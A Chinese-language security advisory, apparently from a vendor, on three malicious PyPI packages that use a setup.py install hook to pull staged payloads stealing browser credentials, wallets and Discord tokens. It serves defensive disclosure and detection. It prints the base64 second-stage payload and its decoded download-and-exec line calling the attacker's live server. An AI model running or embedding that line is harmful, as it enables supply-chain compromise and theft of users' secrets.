安全情报 | Pypi再现窃密攻击投毒
概述
悬镜安全自研的开源组件投毒检测平台通过对主流开源软件仓库(包括Pypi、NPM、Ruby等)发布的组件包进行持续性监控和自动化代码安全分析,同时结合专家安全经验复审,能够及时发现组件包投毒事件并精确定位恶意代码片段,捕获潜在的供应链投毒攻击行为。
上周我们在Python官方仓库(Pypi)中发现多起新的恶意组件包投毒事件,值得注意的是,urllitelib、urtelib32、graphql32三个python恶意包由同一个攻击者在9月10~11号之间上传投放到Pypi仓库,在此期间攻击者连续迭代发布多个版本,这三个恶意包的代码和攻击行为具有极高相似度,其主要攻击行为是窃取受害者PC操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等),截至目前这些恶意Py包在官方仓库上已被下载近2000次(详细数据如下所示)。

(https://www.pepy.tech/projects/urllitelib)


目前这些投毒包已从官方仓库中下架,经悬镜供应链安全实验室确认,国内各大主流Pypi镜像源仍缓存这些恶意投毒包 ,对于使用国内镜像源的广大开发者来说依旧面临潜在的安全风险。悬镜安全提醒国内开发者们自行排查是否安装或引用以下Python恶意组件包。

投毒窃密分析
从09月10日开始,悬镜安全的开源组件投毒检测系统监测到投毒者(benjaminrodriguezshhh@proton.me)持续向官方Pypi仓库中投放urllitelib、urtelib32、graphql32等多个版本的恶意Py包,这些恶意包命中了检测引擎的安全风险规则,通过进一步对恶意包样本的人工分析后,确认这是一起有针对性的投毒攻击事件,投毒者的攻击对象是Windows操作系统用户,其主要攻击行为是窃取Windows操作系统、主流浏览器、社交软件以及区块链钱包软件的敏感数据。
投毒攻击流程
当Python开发者使用pip install从Pypi官方仓库或下游镜像源直接安装或者依赖引用恶意组件包时,将自动触发执行恶意安装包setup.py中的第一阶段攻击代码,第一阶段攻击代码将从远程服务器下载第二、三阶段的攻击载荷,经过解码后,第三阶段攻击载荷将成为最终的投毒攻击代码。
投毒包攻击流如下图所示:

恶意样本分析
以 urllitelib(1.2.0版本)为例:攻击者在组件包setup.py中设置自定义command类CustomInstall,当开发者执行pip install urllitelib安装组件包时将触发 CustomInstall.run()函数中的第一阶段攻击代码(如下图所示)。

远程下载攻击载荷
第一阶段的攻击代码首先将内置的恶意代码写入config.py文件后,进一步尝试使用管理员权限执行config.py,config.py将通过HTTP Auth认证的GET请求从远程服务器下载执行伪装成图片(http://wpp-api-01hw.onrender.com/api/images/1140884481671188581/image.png)的第二阶段攻击Payload,第二阶段Payload使用base64进行简单编码:
ZXhlYyhyZXF1ZXN0cy5nZXQoJ2h0dHA6Ly93cHAtYXBpLTAxaHcub25yZW5kZXIuY29tL2FwaS9zdGVhbC8xMTQwODg0NDgxNjcxMTg4NTgxLycsIGhlYWRlcnM9eydhdXRoJzogJyYmQ0QmJk9OJ30pLmpzb24oKVsnY29kZSddKQ
base64解码后,第二阶段攻击Payload真实内容如下:
b"exec(requests.get('http://wpp-api-01hw.onrender.com/api/steal/1140884481671188581/', headers={'auth': '&&CD&&ON'}).json()['code'])"
第三阶段的攻击Payload同样是通过HTTP Auth认证的GET请求从http://wpp-api-01hw.onrender.com/api/steal/1140884481671188581/下载后,再进行一轮base64解码,投毒包最终的攻击载荷如下所示:

通过分析投毒包远程载荷代码可明显发现其主要攻击逻辑包含有系统运行环境反调试、获取操作系统基本信息、窃取浏览器用户数据(密码,cookie,浏览记录等)、获取主流应用软件用户token、盗取区块链钱包敏感数据以及开机自启动等恶意行为。
反调试&虚拟机对抗
如下图所示,恶意代码具备比较基础的反调试和虚拟机对抗能力。恶意代码在执行数据窃密操作前,如果检测到系统中存在代码逆向、进程调试、进程监控、网络流量分析以及虚拟机服务等相关进程后会尝试杀死这些进程。此外,当检测到当前操作系统的主机名、网络IP、MAC地址如果命中内置的黑名单后,会删除自身代码,躲避检测。

获取系统敏感信息
恶意代码除了获取操作系统设备ID、主机名、用户名、网络IP、MAC等基础信息之外,还会对系统屏幕进行截屏。这些敏感数据最终都将发送到攻击者服务器上。

窃取浏览器用户数据
恶意代码还会尝试遍历主流浏览器的用户数据目录,窃取浏览器中存储的用户密码、cookie、信用卡、历史浏览记录等敏感数据。

盗取区块链钱包账户数据
恶意代码会遍历主流数字货币钱包(例如Exodus、Atomic Wallet.等)的数据目录,对钱包账户数据进行压缩打包后发送给攻击者服务器。

盗取Discord及主流浏览器token
此外,恶意代码还会搜索主流浏览器和Discord的用户数据目录,尝试从leveldb、sqlite3等本地数据库中挖掘出符合特定正则表达式的用户token数据。

IoC数据
此次投毒组件包涉及的恶意文件和恶意链接IoC数据如下所示:

总结
截止目前,投毒攻击者所使用的恶意代码载荷URL依然有效,虽然相关的投毒组件包已经从官方仓库Pypi上下架,但其依然存活于国内各大Pypi镜像源中,因此对于国内广大开发者来说仍需提供安全防范意识,除了自行排查现有Py安装包外,建议尽量使用官方Pypi仓库源。
排查方式
使用OpenSCA-cli,将以下内容保存为db.json文件,直接执行扫描命令(opensca-cli -db db.sjon -path${project_path}),即可快速获知您的项目是否受到投毒包影响。
[
{
"product": "urllitelib",
"version": "[1.0.0, 1.2.0]",
"language": "python",
"id": "XMIRROR-2023-70549",
"description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。",
"release_date": "2023-09-18"
},
{
"product": "urtelib32",
"version": "[1.7.2, 1.8.1]",
"language": "python",
"id": "XMIRROR-2023-70550",
"description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。",
"release_date": "2023-09-18"
},
{
"product": "graphql32",
"version": "[1.7.2, 1.8.4]",
"language": "python",
"id": "XMIRROR-2023-70551",
"description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。",
"release_date": "2023-09-18"
}
]
悬镜安全也将持续监测和挖掘未知的开源组件安全风险,并及时对供应链投毒事件进行分析披露。
安全情报 | Pypi再现窃密攻击投毒的更多相关文章
- APT攻击:91%的攻击是利用电子邮件
一封假冒的"二代医疗保险补充保险费扣费说明",导致上万家中小型企业的资料被窃;一封伪装银行交易纪录的钓鱼信件,让韩国爆发史上最大黑客攻击. APT攻击通常会以电子邮件的形式出现,邮 ...
- Office高级威胁漏洞在野利用分析
高级威胁漏洞背景 在高级威胁攻击中,黑客远程投递入侵客户端最喜欢的漏洞是office文档漏洞,就在刚刚结束不久的黑帽子大会上,最佳客户端安全漏洞奖颁给了CVE-2017-0199漏洞,这个漏洞是时下o ...
- 【入门】广电行业DNS、DHCP解决方案详解(三)——DNS部署架构及案
[入门]广电行业DNS.DHCP解决方案详解(三)——DNS部署架构及案 DNS系统部署架构 宽带业务DNS架构 互动业务DNS架构 案例介绍 案例一 案例二 本篇我们将先介绍DNS系统部署架构体系, ...
- 转载--C++的反思
转载自http://blog.csdn.net/yapian8/article/details/46983319 最近两年 C++又有很多人出来追捧,并且追捧者充满了各种优越感,似乎不写 C++你就一 ...
- 基于知识图谱的APT组织追踪治理
高级持续性威胁(APT)正日益成为针对政府和企业重要资产的不可忽视的网络空间重大威胁.由于APT攻击往往具有明确的攻击意图,并且其攻击手段具备极高的隐蔽性和潜伏性,传统的网络检测手段通常无法有效对其进 ...
- 注意!你的 Navicat 可能被下毒了...
大家早上好,我是程序猿DD! 刚刚看到一份来自微步在线发布的威胁情报通报,其中提到了被我们广泛应用的数据库管理工具Navicat Premium被投毒消息!如果你有用过相关版本的话,可能当前正处于数据 ...
- 常见的DNS攻击——偷(劫持)、骗(缓存投毒)、打(DDos)
常见的DNS攻击包括: 1) 域名劫持 通过采用黑客手段控制了域名管理密码和域名管理邮箱,然后将该域名的NS纪录指向到黑客可以控制的DNS服务器,然后通过在该DNS服务器上添加相应域名纪录,从而使网民 ...
- ARP投毒攻击
原理:通过分别伪装成客户机和服务器IP,将自己的MAC地址绑定在IP上,ARP错误的将IP解析为中间人MAC地址,从而来欺骗服务器网关和客户机,使信息必须通过客户机.
- 前端学HTTP之web攻击技术
前面的话 简单的HTTP协议本身并不存在安全性问题,因此协议本身几乎不会成为攻击的对象.应用HTTP协议的服务器和客户端,以及运行在服务器上的Web应用等资源才是攻击目标.本文将详细介绍攻击web站点 ...
- Dark Mobile Bank之移动银行应用仿冒攻击威胁分析报告
一.背景 据“第十五次全国信息网络安全状况暨计算机和移动终端病毒疫情调查”调查结果显示,2015年移动终端的病毒感染比例为50.46%,相对于2014年增长了18.96%,移动终端病毒感染率涨幅较大, ...
随机推荐
- AutoCAD ObjectARX 二次开发(2020版)--4,使用ARX向导创建CAD二次开发项目(编程框架)--
手动创建ObjectARX应用程序非常麻烦,在此步骤中,将介绍ObjectARX向导. 在这里,我们将使用ObjectARX向导创建我们的ObjectARX应用程序. 本节的程序的需求是,接收CAD用 ...
- 没错,数据库确实应该放入 K8s 里!
昨天冯老板发了一篇文章探讨了为什么将数据库放入 K8S 中不是一个明智的选择. 如果是四年前有人质疑容器化数据库我觉得还可以 battle 一下,都 2023 年了还有人不能认清这个大势,我就有必要来 ...
- 使用 Kubernetes 为 CI/CD 流水线打造高效可靠的临时环境
介绍 在不断发展的科技世界中,快速构建高质量的软件至关重要.在真实环境中测试应用程序是及早发现和修复错误的关键.但是,在真实环境中设置 CI/CD 流水线进行测试可能既棘手又昂贵. Kubernete ...
- 【matlab混沌理论】1.4.双摆杆的不同参数模型
双摆杆运动模型.初始条件的微小差异,会导致千差万别的运动现象,这是混沌理论重要体现.主要考虑初始条件有两摆杆长度.质量.初始摆杆角度.重力加速度. input: % 参数定义 L1 = 1; % 第一 ...
- 解决k8s删除pod后又重新创建了新的pod
1.问题现象 2.原因 在Kubernetes中,当你删除一个Pod时,如果该Pod是由Deployment.ReplicaSet或PodController创建的,那么这个Pod会被标记为" ...
- CompletableFuture异步编程
1.创建 /** * public static <U> CompletableFuture<U> supplyAsync(Supplier<U> supplier ...
- ElasticSearch-Mapping类型映射-增删改查
https://www.elastic.co/guide/en/elasticsearch/reference/6.8/mapping.html 7.x版本后默认都是_doc类型 增加Mapping映 ...
- Oracle重做、归档日志
日志文件 oracle日志文件分为两种: 重做日志文件(redo),或者称为"在线重做日志" 归档日志文件(arch),或者称为"归档重做日志" 在线重做日志文 ...
- javaScript正则截取自定义标签-javascript-zheng-ze-jie-qu-zi-ding-yi-biao-qian
title: javaScript正则截取自定义标签 date: 2021-12-29 17:31:48.448 updated: 2021-12-29 17:31:48.448 url: https ...
- shell的变量
变量含义 学生时代所学的数学方程式,如x=1,y=2,那会称之为x,y是未知数 对于计算机角度,x=1,y=2等于定义了两个变量,名字分别是x,y,且赋值了1和2 变量是暂时存储数据的地方,变量临时存 ...